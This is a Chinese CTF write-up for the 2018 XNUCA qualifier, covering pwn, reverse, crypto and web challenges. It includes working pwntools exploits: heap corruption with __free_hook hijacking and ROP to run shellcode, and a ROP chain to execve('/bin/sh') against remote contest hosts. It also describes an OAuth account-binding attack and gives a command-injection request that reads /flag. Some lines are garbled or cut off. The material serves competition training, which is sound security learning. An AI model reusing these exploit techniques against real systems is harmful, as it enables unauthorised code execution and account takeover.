2018 XNUCA初赛题解 by Lilac

Lilac / 2018-11-26 09:49:00 / 浏览数 4215 安全技术 CTF 顶(1) 踩(0)

2018 XNUCA初赛题解 --By Lilac

pwn

Steak

堆漏洞挺多的:
uaf,idx未检验
没有输出比较麻烦
先泄露libc地址:

```
1. free ■■chunk■unsorted bin
   * partial write  fd ■fastbin atk  ■■unsortedbin■1/16■■■■■■copy■■■■■16/1■■■
   2. partial write  unsorted■stdout -n ■■■■■■ chunk size
   3. ■■■■■stdout ■flags■0xfbad1800■■0xfbad1880 partial write ■write base ■■■■■■0
   4. puts■■■■■libc
5.■■■■arena
6. ■■■fastbin atk ■■ bss ■■array■■■■freehook ■edit■■■■pus■■leak stack
7.■bss■main■■■■■
```

拿到任意地址写以后，把free_hook改成puts来leak栈地址，之后直接在栈上写rop链，在bss上用mprotect开一段可执行内存，然后retf跳32位模式来绕过prctl的防护，flag

```
from pwn import *
#context.log_level='debug'
def cmd(c):
   p.sendlineafter(">\n",str(c))
def add(size,data="\n"):
   cmd(1)
   p.sendlineafter("size:\n",str(size))
   p.sendafter("buf:\n",data)
def free(idx):
   cmd(2)
   p.sendlineafter("index:\n",str(idx))
def edit(idx,buf,size=0x100):
   cmd(3)
   p.sendlineafter("index:\n",str(idx))
   p.sendlineafter("size:\n",str(size))
   p.sendafter("buf:\n",buf)
def C(c):
   p.sendlineafter(">",str(c))
def A(size,data="\n"):
   C(1)
   p.sendlineafter("size:",str(size))
   p.sendafter("buf:",data)
def F(idx):
   C(2)
   p.sendlineafter("index:",str(idx))
def E(idx,buf,size=0x100):
   C(3)
   p.sendlineafter("index:",str(idx))
   p.sendlineafter("size:",str(size))
   p.sendafter("buf:",buf)
def cp(a,b,lenth=8):
   C(4)
   p.readuntil("index:")
   p.sendline(str(a))
   p.readuntil("index:")
   p.sendline(str(b))
   p.sendlineafter("length:",str(lenth))
def lea():
   C()
```

```
def cp(a,b,lenth=8):
   C(4)
   p.readuntil("index:")
   p.sendline(str(a))
   p.readuntil("index:")
   p.sendline(str(b))
   p.sendlineafter("length:",str(lenth))

#p=process("./steak",env = {"LD_PRELOAD": "./libc-2.23.so"})
while True:
   try:
       #p=process("./steak",env = {"LD_PRELOAD": "./libc-2.23.so"})
       p=remote("106.75.115.249",39453)
       libc=ELF("./libc-2.23.so")
       add(0x68,'\n')#0
       add(0x68,'\n')#1
       add(0x68,'\n')#2
       add(0x90,'\n')#3
       add(0x90,'\n')#4
       free(0)
       free(1)
       free(3)
       edit(2,"A"*0x68+p64(0x71)+"\xdd\x25")

       cp(3,1,8)
       add(0x68)#5

       add(0x68,"\x00"*3+p64(0)*6+p64(0xfbad1800)+p64(0)*3+"\x00")#6
       p.read(0x40)
       base=u64(p.read(8))-(0x7ffff7dd2600-0x00007ffff7a0d000)
       libc.address=base
       log.warning(hex(base))
       A(0x68)#7
       A(0x68)#8

       A(0x68)#9
       A(0x68)#10
       A(0x68)#11
       F(9)
       F(10)
       E(10,p64(0x6021A0-19))
       A(0x68)#11
       A(0x68,"\x00"*3+p64(libc.symbols['__free_hook'])+p64(libc.symbols['__malloc_hook'])+p64(libc.symbols['environ'])+p64(0x
       E(0,p64(libc.symbols['puts']))
       F(2)
       p.readline()
       stack=u64(p.readline()[:-1].ljust(8,'\x00'))-(0x7fffffffdf78-0x00007fffffffe000)
       log.warning(hex(stack))
       ret_addr=0xdeadbeef

       E(3,p64(libc.symbols['__free_hook'])+p64(libc.symbols['__malloc_hook'])+p64(0x7fffffffde88-0x00007fffffffe000+stack-8)+
       pd=0x0000000000400ca3
       ps=0x0000000000400ca1#pop rsi; pop r15; ret;
       pop_rdx = 0x0000000000001b92#pop rdx;ret;
       syscall = 0x00000000000bc375#syscall; ret;
       pop_rax = 0x0000000000033544#pop_rax; ret;
       pop_r10 = 0x00000000001150a5#pop r10;ret
       leave = 0x00000000004008d7#leave;ret
       retfq = 0x0000000000107428

       rop = p64(0x602800-8) + p64(pop_rax+libc.address) + p64(10) +  p64(pd) + p64(0x602000) + p64(ps) + p64(0x1000)*2 + p64(

       shellcode = asm(shellcraft.open("./flag"))

       s = '''
           mov ebx, eax
           mov ecx, 0x602900
           mov edx,0x50
           int 0x80
```

```
            mov eax,4
            mov ebx, 1
            mov ecx, 0x602900
            mov edx,0x50
            int 0x80
        '''

        shellcode += asm(s)
        E(5,p64(retfq+libc.address) + p64(0x602240) + p64(0x23))
        E(4,shellcode)
        E(2,rop)
        print "success!"
        break
    except:
        p.close()
        pass

p.sendline("5")
print p.recvuntil("}")
p.close()
```

16分之一的概率，多跑几次就能拿到flag了。

revenge

描述:This pwn is from 34C3 CTF. But in our dome, you MUST get shell!

```
$ md5sum revenge
75bb692f5cd51ba4143a42fc4948b025  revenge

# lee @ lee-Lenovo in ~/Videos/xnuca_2018 [22:23:20]
$ md5sum readme_revenge
75bb692f5cd51ba4143a42fc4948b025  readme_revenge
```

这道题是34c3原题,不过这里需要`get shell`, 感谢0xddaa
poc:

```
#!/usr/bin/env python
import sys, os
from pwn import *
from struct import pack

HOST, PORT = (sys.argv[1], sys.argv[2]) if len(sys.argv) > 2 else ('localhost', 5566)
elf = ELF('readme_revenge'); context.word_size = elf.elfclass
with context.local(log_level='ERROR'):
    libc = ELF('libc.so.6') if os.path.exists('libc.so.6') else elf.libc
if not libc: log.warning('Cannot open libc.so.6')

r = remote(HOST, PORT)
pause()

jmp1 = 0x46D935
jmp2 = 0x46d935
name = 0x6b73e0
rop_addr = 0x6b7ab0
pop_rdi = 0x400525
pop_rsi = 0x4059d6
pop_rdx = 0x435435
pop_rax = 0x43364c
syscall = 0x45fa15
binsh_addr = 0x6b7a38

rop = flat(pop_rdi, binsh_addr, pop_rsi, 0, pop_rdx, 0, pop_rax, 59, syscall)

exp = flat(jmp1, jmp2, 0, 0)
exp = exp.ljust(1248, '\x90') + p64(0x00000000004a1a79)
exp = exp.ljust(1328, '\x90') + p64(rop_addr)
exp = exp.ljust(1608, 'a')
exp += p64(0x6b7048+8) + p64(0)
exp += '/bin/sh'.ljust(112, '\x00')
```

```
exp += p64(0x6b7048)#"i"*8
exp += rop

r.sendline(exp)

r.send('g'*0x300)

r.interactive()
```

result:

```
$ python reverge.py 117.50.39.111 26436
[*] '/home/lee/Videos/xnuca_2018/readme_revenge'
   Arch:     amd64-64-little
   RELRO:    Partial RELRO
   Stack:    Canary found
   NX:       NX enabled
   PIE:      No PIE (0x400000)
[!] Cannot open libc.so.6
[+] Opening connection to 117.50.39.111 on port 26436: Done
[*] Paused (press any to continue)
[*] Switching to interactive mode
$ cat flag
flag{005387f7-4d2d-4530-8d57-f20d4c34f493}
```

rev

Code Interpreter

打开一看是虚拟机题，虚拟机只有十条指令，基本的操作模式差不多，只要注意其中mul、rshift和push指令的操作数是立即数，其他指令的操作数是寄存器即可。写出反汇编器

```
with open("code") as f:
   code = map(ord, f.read())
print code
inst = {
   0: ("exit", 0),
   1: ("push", 4),
   2: ("pop", 0),
   3: ("add", 2),
   4: ("sub", 2),
   5: ("mul", 2, ''),
   6: ("rshift", 2, ''),
   7: ("mov", 2),
   8: ("movs", 2),
   9: ("xor", 2),
   10: ("or", 2)
}

ip = 0
disasm = ''
while True:
   if ip >= len(code):
       break
   opcode = code[ip]
   if not inst.has_key(opcode):
       disasm += "invalid\n"
       continue
   mnem = inst[opcode][0]
   addition = inst[opcode][1]
   if addition == 0:
       oprand = ''
   elif addition == 4:
       num = code[ip+1] + (code[ip+2] << 8) + (code[ip+3] << 16) + (code[ip+4] << 24)
       oprand = hex(num)
   elif addition == 2 and len(inst[opcode]) != 3:
       oprand = "[%d], [%d]" % (code[ip+1], code[ip+2])
   elif addition == 2:
       oprand = "[%d], %d" % (code[ip+1], code[ip+2])
```

```
   disasm += "0x%02x: %s %s\n" % (ip, mnem, oprand)
   ip += addition+1
print disasm
```

得到的汇编指令如下

```
0x00: xor [4], [4]
0x03: xor [0], [0]
0x06: movs [1], [0]
0x09: movs [2], [1]
0x0c: movs [3], [2]
0x0f: rshift [1], 4
0x12: mul [1], 21
0x15: mov [0], [1]
0x18: sub [0], [3]
0x1b: push 0x1d7ecc6b
0x20: movs [1], [3]
0x23: sub [0], [1]
0x26: pop
0x27: or [4], [0]
0x2a: xor [0], [0]
0x2d: movs [1], [0]
0x30: movs [2], [1]
0x33: movs [3], [2]
0x36: rshift [3], 8
0x39: mul [3], 3
0x3c: mov [0], [3]
0x3f: add [0], [2]
0x42: push 0x6079797c
0x47: movs [1], [3]
0x4a: sub [0], [1]
0x4d: pop
0x4e: or [4], [0]
0x51: xor [0], [0]
0x54: movs [1], [0]
0x57: movs [2], [1]
0x5a: movs [3], [2]
0x5d: rshift [1], 8
0x60: mov [0], [1]
0x63: add [0], [2]
0x66: push 0x5fbcbdbd
0x6b: movs [1], [3]
0x6e: sub [0], [1]
0x71: pop
0x72: or [4], [0]
0x75: exit
```

没有循环，逻辑很清晰，注意movs的源操作数是栈的偏移。栈上的前三值为输入的三个值。
根据分析结果用claripy直接解一阶逻辑如下

```
import claripy

solver = claripy.Solver()
num1, num2, num3 = claripy.BVS("num1", 32), claripy.BVS("num2", 32), claripy.BVS("num3", 32)
d4 = (((num1 >> 4) * 21) - num3 - 0x1d7ecc6b) & 0xffffffff
solver.add(d4 == 0)
d4 = ((num3 >> 8) * 3 + num2 - 0x6079797c) & 0xffffffff
solver.add(d4 == 0)
d4 = ((num1 >> 8) + num2 - 0x5fbcbdbd) & 0xffffffff
solver.add(d4 == 0)
solver.add((num1 & 0xff) == 94)
solver.add((num2 & 0xFF0000) == 0x5E0000)
solver.add((num3 & 0xff) == 94)
res = solver.batch_eval([num1, num2, num3], 2)[0]
print res
print " X-NUCA{%x%x%x}" % (res[0], res[1], res[2])%
```

得到flag`X-NUCA{5e5f5e5e5f5e5e5f5e5e5f5e}`

Strange Interpreter

很容易看出是用ollvm混淆后的代码，用腾讯的deflat.py进行反混淆可以看出大致的逻辑，程序中有一个很大的代码块，不想分析，直接上angr：

```
import angr
import logging

logging.getLogger('angr').setLevel('INFO')

proj = angr.Project("./StrangeInterpreter.recovered")
state = proj.factory.entry_state()
state.posix.fd[0].size = 32
simgr = proj.factory.simgr(state)

simgr.explore(find=0x412400, avoid=[0x412427, 0x4123B3])
print(simgr.found[0].posix.dumps(0))
```

得到结果`X-NUCA{5e775e5e775e5e775e5e775e}`

crypto

Warm Up

we found that `n0 == n3`, with different e,and coprime, so ■■■■:

```
In [95]: gcd, s, t = gmpy2.gcdext(e0, e3)
   ...: if s < 0:
   ...:     s = -s
   ...:     c0 = gmpy2.invert(c0, n0)
   ...: if t < 0:
   ...:     t = -t
   ...:     c3 = gmpy2.invert(c3, n0)
   ...: plain = gmpy2.powmod(c0, s, n0) * gmpy2.powmod(c3, t, n0) % n0
   ...: print plain
   ...:
   ...:
112964323472000743478440348317734406992674862238452530671873661

In [96]: libnum.n2s(112964323472000743478440348317734406992674862238452530671873661)
Out[96]: 'FLAG{g00d_Luck_&_Hav3_Fun}'
```

baby_crypto

description:

> The 26 letters a, b, c, ..., y, z correspond to the integers 0, 1, 2, ..., 25
> len(key_a) = m
> len(key_k) = n
> c[i] = (p[i] * key_a[i % m] + key_k[i % n]) % 26
> p is plain text, only lowercase letters are refered to.
> c is encrypted text
> I have appended the flag at the end of plain text, the format of which is like 'flagis.....'
> Now you have the encrypted text, Good luck!

这里根据密文的词频规律,得到lcm(m,n) == 6,爆破key_a,key_m即可.
由于得到6种最高词频都是由字母e转变过来的,所以可以约束key_a,key_k的范围,又因为必须唯一解,则gcd(key_a[i % m],26)
==1,每个位置统计的密文字母概率最高分别是[i,l,r,w,q,d],则约束key_a,key_m的相关性:

```
In [1]: for i in [1, 3, 5, 7, 9, 11, 15, 17, 19, 21, 23, 25]:
  ...:     for j in range(0,26):
  ...:         if chr(ord("a")+(i*4+j)%26)=="i": // [i,l,r,w,q,d]
  ...:             print chr(ord("a")+i),chr(ord("a")+j)
```

之后暴力,"flagis" 是否在明文中来判断解是否正确.

```
import libnum
import sys
c= "ojqdocpsnyumybdbnrlzfrdpxndsxzvlswdbkizubxaknlruifrclzvlbrqkmnmvruifdljpxeybqaqjtvldnnlbrrplpuniiydcqfysnerwvnqvkpxeybqbgw
key0 = [["r","s"],["v","c"],["f","o"],["t","k"],["p","a"],["x","u"],["z","m"],["b","e"],["d","w"],["h","g"],["j","y"],["l","q"
key1 = [["z","p"],["b","h"],["d","z"],["f","r"],["h","j"],["j","b"],["l","t"],["p","d"],["r","v"],["t","n"],["v","f"],["x","x"
```

```
key2 = [["b","n"],["d","f"],["f","x"],["h","p"],["j","h"],["l","z"],["p","j"],["r","b"],["t","t"],["v","l"],["x","d"],["z","v"
key3 = [["b","s"],["d","k"],["f","c"],["h","u"],["j","m"],["l","e"],["p","o"],["r","g"],["t","y"],["v","q"],["x","i"],["z","a"
key4 = [["b","m"],["d","e"],["f","w"],["h","o"],["j","g"],["l","y"],["p","i"],["r","a"],["t","s"],["v","k"],["x","c"],["z","u"
key5 = [["b","z"],["d","r"],["f","j"],["h","b"],["j","t"],["l","l"],["p","v"],["r","n"],["t","f"],["v","x"],["x","p"],["z","h"
keya = ""
for i0 in key0:
   for i1 in key1:
       print keya
       for i2 in key2:
           for i3 in key3:
               for i4 in key4:
                   for i5 in key5:
                       keya = i0[0] + i1[0] + i2[0] + i3[0] + i4[0] + i5[0]
                       keyb = i0[1] + i1[1] + i2[1] + i3[1] + i4[1] + i5[1]
                       # print keya,keyb
                       mess = ""
                       for xx in range(28500,len(c)):
                           mess+=chr(ord("a")+(((ord(c[xx])-ord("a")-(ord(keyb[xx%6])-ord("a")))%26)*libnum.invmod((ord(keya[x
                       if "flagis" in mess:
                           print keya,keyb,mess
                           exit(1)
```

result:

```
thxthx kjdyop pestvalleythatiswhyitiscalledtheblessedmountaineverythoughtihaveimprisonedinexpressionimustfreebymydeedsflagishe
```

flag : helloxnucagoodluck

Web

Blog

思路

[redacted] oauth [redacted] [redacted] code
[redacted] ■ ssrf [redacted]
[redacted] OAuth [redacted]
[redacted] OAuth [redacted]

绕过

1. SSRF 长度限制

   [redacted] html [redacted] ssrf [redacted]

   Payload
   ```
2. 注册 OAuth 账号1
3. 使用 OAuth 账号1 注册业务账号1，并完成绑定
4. 注册 OAuth 账号2
5. 使用 OAuth 账号2 登录业务系统，在获取到 state 和 code 参数之后拦截请求
6. 该请求即为需要管理员访问的 URL
7. 利用业务服务器上的重定向功能（登录成功后重定向，管理员肯定是登录状态，因此肯定被重定向）
   http://106.75.66.211:8000/main/login?next=http://sniperoj.com
8. 在服务器上部署
   <!DOCTYPE html> <title></title>
9. 将该地址发给管理员
10. 管理员访问之后成功绑定
11. 使用 OAuth 账号 2 登录业务系统，得到 flag
    ```

ezdotso

```
action=cmd&cmd=cat%20/flag
```


上一篇：智能合约逆向心法1（案例篇）——3... 下一篇：X-NUCA'2018 线上专题赛...
1. 0 条回复

- 动动手指，沙发就是你的了！

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板